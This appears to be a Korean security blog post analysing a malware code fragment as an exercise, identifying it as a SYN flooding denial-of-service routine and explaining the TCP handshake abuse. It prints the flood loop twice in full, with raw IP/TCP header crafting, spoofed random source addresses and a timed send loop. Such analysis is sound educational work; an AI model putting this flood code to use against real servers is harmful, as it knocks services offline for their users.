▶ 문제
▶ 분석 시작
CPP파일을 열어보니 아래와 같은 C++코드가 나왔습니다.
이 코드들을 보고 어떤 악성코드인지 유추해보면 될 것 같습니다.
addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP;
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
Sleep(delay);
}
xClose(sock);
이 코드를 주석을 달아서 보겠습니다.
// 주소 구조체의 멤버 설정
addr_in.sin_family = AF_INET; // 주소 체계 설정
addr_in.sin_port = htons(TargetPort); // 목표 포트 설정
addr_in.sin_addr.s_addr = TargetIP; // 목표 IP 설정
// IP 헤더 설정 (통신을 위한 헤더 정보 초기화)
ipHeader.h_verlen = (4 << 4 | sizeof(ipHeader) / sizeof(unsigned long)); // IP 버전 및 헤더 길이 설정
ipHeader.total_len = htons(sizeof(ipHeader) + sizeof(tcpHeader)); // IP 헤더 및 TCP 헤더의 총 길이 설정
ipHeader.ident = 1; // 패킷 식별자 설정
ipHeader.frag_and_flags = 0; // 프래그먼트와 플래그 설정
ipHeader.ttl = 128; // TTL(Time to Live) 설정
ipHeader.proto = IPPROTO_TCP; // 프로토콜 설정
ipHeader.checksum = 0; // 체크섬 초기화
ipHeader.destIP = TargetIP; // 목표 IP 설정
// TCP 헤더 설정
tcpHeader.th_lenres = (sizeof(tcpHeader) / 4 << 4 | 0); // 헤더 길이 및 예약 필드 설정
tcpHeader.th_flag = 2; // 플래그 2로 설정
tcpHeader.th_win = htons(16384); // 윈도우 크기 설정
tcpHeader.th_urp = 0; // 긴급 포인터 설정
tcpHeader.th_ack = 0; // ACK 번호 설정
// 타이머 시작
lTimerCount = GetTickCount();
// DDOS 공격하는 동안 반복
while (g_cMainCtrl.m_cDDOS.m_bDDOSing) {
i++;
// 체크섬 초기화 및 목표 포트 설정
tcpHeader.th_sum = 0;
tcpHeader.th_dport = htons(TargetPort);
// 가상의 헤더 설정
psdHeader.daddr = ipHeader.destIP;
psdHeader.mbz = 0;
psdHeader.ptcl = IPPROTO_TCP;
psdHeader.tcpl = htons(sizeof(tcpHeader));
ipHeader.sourceIP = htonl(lSpoofIP);
// 무작위 소스 포트 및 시퀀스 번호 설정
tcpHeader.th_sport = htons((rand() % 1001) + 1000); //출발지포트 랜덤생성
tcpHeader.th_seq = htons((rand() << 16) | rand()); //TCP헤더의 seq 넘버 랜덤 생성
psdHeader.saddr = ipHeader.sourceIP;
// 패킷 생성
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum = checksum((unsigned short *)szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4);
ipHeader.checksum = checksum((unsigned short *)szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
// 패킷 전송
rect = sendto(sock, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr *)&addr_in, sizeof(addr_in));
if (rect == SOCKET_ERROR) return false;
// 시간 초과 체크
if ((GetTickCount() - lTimerCount) / 1000 > len) break;
// 무작위 포트 설정
if (bRandPort) {
TargetPort = brandom(1000, 10000);
}
// 스푸핑 IP 주소 설정
szSpoofIP[0] = (char)brandom(0, 255);
szSpoofIP[1] = (char)brandom(0, 255);
szSpoofIP[2] = (char)brandom(0, 255);
szSpoofIP[3] = (char)brandom(0, 255);
// 딜레이 설정
Sleep(delay);
}
// 소켓 닫기
xClose(sock);
TCP/IP 헤더를 조작하여 가짜 패킷을 생성하고 보내는 과정을 포함하게 됩니다.
이 코드는 악성코드의 전체가 아닌 일부 코드이기 떄문에 확실하게 무슨 공격이다 라고는 못하지만
//TCP헤서 설정 부분
tcpHeader.th_flag = 2; // 플래그 2로 설정 (SYN)
//while문 내부
tcpHeader.th_sport = htons((rand() % 1001) + 1000); // 출발지 포트 랜덤 생성
tcpHeader.th_seq = htons((rand() << 16) | rand()); // TCP 헤더의 SEQ 넘버 랜덤 생성
이 부분들을 보고 syn플래그로 임의의 순서 번호, 포트 정보를 가지고 통신을 요청한다는 것을 알 수 있었습니다.
▶ 분석 결과
이 사진이 정상적인 통신을 위한 과정인 3-way handshake인데 지금까지 봤던 코드를 보면 응답에 대한 코드가 따로 없는 것으로 보아 Dos Attack > SYN flooding으로 유추할 수 있었습니다.
이 사진이 정상적인 통신을 위한 과정인 3-way handshake입니다.
▶ SYN Flooding 공격
1. 공격자는 호스트로 요청을 수없이 보내면 피해 호스트의 메모리 버퍼가 채워지기 시작합니다
2. 공격자는 호스트로부터 응답(syn-ack)을 받아도 ack를 전송하지 않습니다.
3. 대상 서버는 연결을 대기 상태로 유지하며 자원을 소비합니다.
4. 이 과정을 반복하면서 호스트는 유효하지 않은 연결 요청으로 인해 자원이 고갈되고 서비스를 처리할 수 없게 됩니다.
▶ 일상생활에서의 SYN Flooding
일상생활에서도 이러한 것을 볼 수 있는데 예시로 수강신청, 콘서트 티켓팅으로 볼 수 있겠습니다.
수강신청, 티켓팅도 목적은 다르지만 같은 원리입니다.
대학 수강신청, 티켓팅을 위해서 하나의 학교서버, 사이트에 수천명, 수만명, 수십만명(콘서트 티켓팅의 경우)이 같은 날, 같은 시간에 접속을 하게 되면 인원수 만큼의 IP가 서버로 통신 요청을 하게 되고 서버는 이 요청들을 처리하게 되는데 이때 서버가 터지거나 버퍼링이 심하게 걸리게 됩니다
'해킹&보안 > 악성코드 및 치트' 카테고리의 다른 글
악성코드 분석 간단 개념 (1) | 2024.05.17 |
---|---|
리버스 엔지니어링 (1) | 2024.05.14 |
Reverse Engineering 7 (0) | 2024.05.11 |
Reverse Engineering 6 (0) | 2024.05.10 |
Reverse Engineering 5 (0) | 2024.05.01 |